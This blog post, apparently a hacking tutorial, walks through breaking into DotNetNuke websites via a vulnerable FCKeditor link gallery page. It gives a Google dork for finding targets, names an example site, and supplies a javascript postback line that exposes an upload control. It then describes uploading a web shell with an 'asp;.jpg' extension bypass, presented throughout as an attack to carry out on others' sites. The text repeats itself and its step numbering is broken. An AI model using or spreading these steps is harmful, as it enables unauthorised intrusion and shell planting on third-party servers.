Step 1 :
http://www.google.com
Step 2:Now enter this dork (this is Dork for find DNN Valn sites)
inurl:/Fck/fcklinkgallery.aspx
this is a dork to find the Portal Vulnerable sites, use it wisely.
Step 3:
it will show you many sites, Copy any one of site.
Step 4:
For example take this site.
Example:
http://www.itservicespro.net
Step 5: Now Paste after the site url
this
so Site is this :
http://itservicespro.net/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
so it will look like this (screenshot below)
Note: if it will show you like this (see screenshot below) its mean site could not hack find another site
Now Click on File ( A File On Your Site )
Step 8:Now replace the URL in the address bar with a Simple Script

Step 10:
Select Root
After upload
go for your shell www.yoursite.com/portals/0/yourshellname.asp;.jpg
That's It....:)
http://www.google.com
Step 2:Now enter this dork (this is Dork for find DNN Valn sites)
inurl:/Fck/fcklinkgallery.aspx

Step 3:
it will show you many sites, Copy any one of site.
Step 4:
For example take this site.
Example:
http://www.itservicespro.net
Step 5: Now Paste after the site url
this
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
so Site is this :
http://itservicespro.net/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
so it will look like this (screenshot below)
Note: if it will show you like this (see screenshot below) its mean site could not hack find another site

Now Click on File ( A File On Your Site )
Step 8:Now replace the URL in the address bar with a Simple Script
javascript:__doPostBack('ctlURL$cmdUpload','')
Step 9:You will Find the Upload OptionStep 10:
Select Root
After upload
go for your shell www.yoursite.com/portals/0/yourshellname.asp;.jpg
That's It....:)
0 comments:
Post a Comment